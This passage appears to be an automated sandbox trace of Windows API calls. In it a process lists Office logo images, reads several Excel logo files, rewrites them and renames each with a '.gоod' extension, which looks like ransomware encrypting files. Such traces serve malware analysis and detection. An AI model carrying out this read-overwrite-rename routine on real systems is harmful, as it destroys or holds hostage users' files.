(in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7e29bd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7e29bd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7e29bd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x676, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinProjLogoSmall.scale-80.png", cAlternateFileName="WI3748~1.PNG")) returned 1 [0189.718] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a8c7801, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a8c7801, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a8c7801, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinWordLogo.contrast-black_scale-100.png", cAlternateFileName="WI8B9B~1.PNG")) returned 1 [0189.718] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a8a15c5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a8a15c5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1b0f9971, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9d9, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinWordLogo.contrast-black_scale-140.png", cAlternateFileName="WIE5F9~1.PNG")) returned 1 [0189.718] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a8a15c5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a8a15c5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a8a15c5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd4e, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinWordLogo.contrast-black_scale-180.png", cAlternateFileName="WI28C8~1.PNG")) returned 1 [0189.718] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a8a15c5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a8a15c5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1b0f9971, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x806, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinWordLogo.contrast-black_scale-80.png", cAlternateFileName="WI813E~1.PNG")) returned 1 [0189.718] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7e29bd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7e29bd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a8a15c5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinWordLogo.contrast-white_scale-100.png", cAlternateFileName="WINWOR~4.PNG")) returned 1 [0189.718] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a8a15c5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a8a15c5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1b0f9971, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa0f, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinWordLogo.contrast-white_scale-140.png", cAlternateFileName="WID44A~1.PNG")) returned 1 [0189.718] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7e29bd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7e29bd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7e29bd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd4f, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinWordLogo.contrast-white_scale-180.png", cAlternateFileName="WINWOR~1.PNG")) returned 1 [0189.718] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7e29bd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7e29bd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7e29bd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x806, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinWordLogo.contrast-white_scale-80.png", cAlternateFileName="WINWOR~3.PNG")) returned 1 [0189.718] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a8a15c5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a8a15c5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a8a15c5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x94f, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinWordLogo.scale-100.png", cAlternateFileName="WIEE7A~1.PNG")) returned 1 [0189.718] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7e29bd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7e29bd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7e29bd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa5d, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinWordLogo.scale-140.png", cAlternateFileName="WINWOR~2.PNG")) returned 1 [0189.718] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a8a15c5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a8a15c5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a8c7801, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xe20, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinWordLogo.scale-180.png", cAlternateFileName="WIACD7~1.PNG")) returned 1 [0189.718] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1af55fee, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1af55fee, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1af7c22b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x82c, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinWordLogo.scale-80.png", cAlternateFileName="WI8265~1.PNG")) returned 1 [0189.718] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a8a15c5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a8a15c5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a8c7801, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x77f, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinWordLogoSmall.contrast-black_scale-100.png", cAlternateFileName="WI2520~1.PNG")) returned 1 [0189.718] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a8a15c5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a8a15c5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a8c7801, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x82a, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinWordLogoSmall.contrast-black_scale-140.png", cAlternateFileName="WIA801~1.PNG")) returned 1 [0189.718] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a8a15c5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a8a15c5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a8c7801, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8fb, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinWordLogoSmall.contrast-black_scale-180.png", cAlternateFileName="WIF595~1.PNG")) returned 1 [0189.719] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a8a15c5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a8a15c5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1b0f9971, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x68d, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinWordLogoSmall.contrast-black_scale-80.png", cAlternateFileName="WIB9E7~1.PNG")) returned 1 [0189.719] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1b0f9971, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1b0f9971, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1b0f9971, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x781, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinWordLogoSmall.contrast-white_scale-100.png", cAlternateFileName="WIA3D3~1.PNG")) returned 1 [0189.719] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a8a15c5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a8a15c5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1af55fee, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x843, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinWordLogoSmall.contrast-white_scale-140.png", cAlternateFileName="WIB9B0~1.PNG")) returned 1 [0189.719] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a8a15c5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a8a15c5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a8a15c5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinWordLogoSmall.contrast-white_scale-180.png", cAlternateFileName="WIE78E~1.PNG")) returned 1 [0189.719] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1b0d373e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1b0d373e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1b0f9971, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x681, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinWordLogoSmall.contrast-white_scale-80.png", cAlternateFileName="WI62EF~1.PNG")) returned 1 [0189.719] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a8c7801, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a8c7801, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a8edb08, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x79c, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinWordLogoSmall.scale-100.png", cAlternateFileName="WI3A30~1.PNG")) returned 1 [0189.721] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee440) returned 1 [0189.721] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee400) returned 1 [0189.721] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0189.722] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0189.722] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0189.722] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0191.013] CloseHandle (hObject=0x7c8) returned 1 [0192.219] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.contrast-black_scale-100.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.contrast-black_scale-100.png", lpFilePart=0x0) returned 0x61 [0192.219] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0192.219] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.contrast-black_scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\excellogo.contrast-black_scale-100.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0192.583] GetFileType (hFile=0x824) returned 0x1 [0192.585] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0192.585] GetFileType (hFile=0x824) returned 0x1 [0192.629] WriteFile (in: hFile=0x824, lpBuffer=0x3482ee0*, nNumberOfBytesToWrite=0x8d0, lpNumberOfBytesWritten=0x1fcee148, lpOverlapped=0x0 | out: lpBuffer=0x3482ee0*, lpNumberOfBytesWritten=0x1fcee148*=0x8d0, lpOverlapped=0x0) returned 1 [0192.630] CloseHandle (hObject=0x824) returned 1 [0193.446] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.contrast-black_scale-100.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.contrast-black_scale-100.png", lpFilePart=0x0) returned 0x61 [0193.446] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.contrast-black_scale-100.png.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.contrast-black_scale-100.png.gоod", lpFilePart=0x0) returned 0x66 [0193.446] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0193.446] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.contrast-black_scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\excellogo.contrast-black_scale-100.png"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x198d5bc7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x198d5bc7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6f06d5a0, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x8d0)) returned 1 [0193.446] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0193.446] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.contrast-black_scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\excellogo.contrast-black_scale-100.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.contrast-black_scale-100.png.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\excellogo.contrast-black_scale-100.png.gоod")) returned 1 [0193.448] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.contrast-black_scale-140.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.contrast-black_scale-140.png", lpFilePart=0x0) returned 0x61 [0193.448] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0193.448] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.contrast-black_scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\excellogo.contrast-black_scale-140.png"), fInfoLevelId=0x0, lpFileInformation=0x356a7d8 | out: lpFileInformation=0x356a7d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x198afa29, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x198afa29, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x198afa29, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xbe5)) returned 1 [0193.449] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0193.449] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.contrast-black_scale-140.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.contrast-black_scale-140.png", lpFilePart=0x0) returned 0x61 [0193.449] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0193.449] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.contrast-black_scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\excellogo.contrast-black_scale-140.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0193.449] GetFileType (hFile=0x824) returned 0x1 [0193.449] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0193.449] GetFileType (hFile=0x824) returned 0x1 [0193.449] GetFileSize (in: hFile=0x824, lpFileSizeHigh=0x1fcee308 | out: lpFileSizeHigh=0x1fcee308*=0x0) returned 0xbe5 [0193.449] ReadFile (in: hFile=0x824, lpBuffer=0x356b738, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee238, lpOverlapped=0x0 | out: lpBuffer=0x356b738*, lpNumberOfBytesRead=0x1fcee238*=0xbe5, lpOverlapped=0x0) returned 1 [0194.073] CloseHandle (hObject=0x824) returned 1 [0194.971] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.contrast-black_scale-140.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.contrast-black_scale-140.png", lpFilePart=0x0) returned 0x61 [0194.971] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0194.971] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.contrast-black_scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\excellogo.contrast-black_scale-140.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0194.972] GetFileType (hFile=0x824) returned 0x1 [0194.972] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0194.973] GetFileType (hFile=0x824) returned 0x1 [0194.973] WriteFile (in: hFile=0x824, lpBuffer=0x3600640*, nNumberOfBytesToWrite=0xbf0, lpNumberOfBytesWritten=0x1fcee148, lpOverlapped=0x0 | out: lpBuffer=0x3600640*, lpNumberOfBytesWritten=0x1fcee148*=0xbf0, lpOverlapped=0x0) returned 1 [0194.973] CloseHandle (hObject=0x824) returned 1 [0194.974] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.contrast-black_scale-140.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.contrast-black_scale-140.png", lpFilePart=0x0) returned 0x61 [0194.974] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.contrast-black_scale-140.png.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.contrast-black_scale-140.png.gоod", lpFilePart=0x0) returned 0x66 [0194.974] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0194.974] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.contrast-black_scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\excellogo.contrast-black_scale-140.png"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x198afa29, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x198afa29, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x706cfc47, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xbf0)) returned 1 [0194.974] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0194.974] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.contrast-black_scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\excellogo.contrast-black_scale-140.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.contrast-black_scale-140.png.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\excellogo.contrast-black_scale-140.png.gоod")) returned 1 [0194.975] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.contrast-black_scale-180.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.contrast-black_scale-180.png", lpFilePart=0x0) returned 0x61 [0194.975] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0194.975] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.contrast-black_scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\excellogo.contrast-black_scale-180.png"), fInfoLevelId=0x0, lpFileInformation=0x3601978 | out: lpFileInformation=0x3601978*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x198d5bc7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x198d5bc7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x198d5bc7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xe13)) returned 1 [0194.975] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0194.975] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.contrast-black_scale-180.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.contrast-black_scale-180.png", lpFilePart=0x0) returned 0x61 [0194.975] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0194.975] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.contrast-black_scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\excellogo.contrast-black_scale-180.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0194.976] GetFileType (hFile=0x824) returned 0x1 [0194.976] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0194.976] GetFileType (hFile=0x824) returned 0x1 [0194.976] GetFileSize (in: hFile=0x824, lpFileSizeHigh=0x1fcee308 | out: lpFileSizeHigh=0x1fcee308*=0x0) returned 0xe13 [0194.976] ReadFile (in: hFile=0x824, lpBuffer=0x3602b08, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee238, lpOverlapped=0x0 | out: lpBuffer=0x3602b08*, lpNumberOfBytesRead=0x1fcee238*=0xe13, lpOverlapped=0x0) returned 1 [0194.977] CloseHandle (hObject=0x824) returned 1 [0194.989] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.contrast-black_scale-180.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.contrast-black_scale-180.png", lpFilePart=0x0) returned 0x61 [0194.989] SetThreadErrorMode 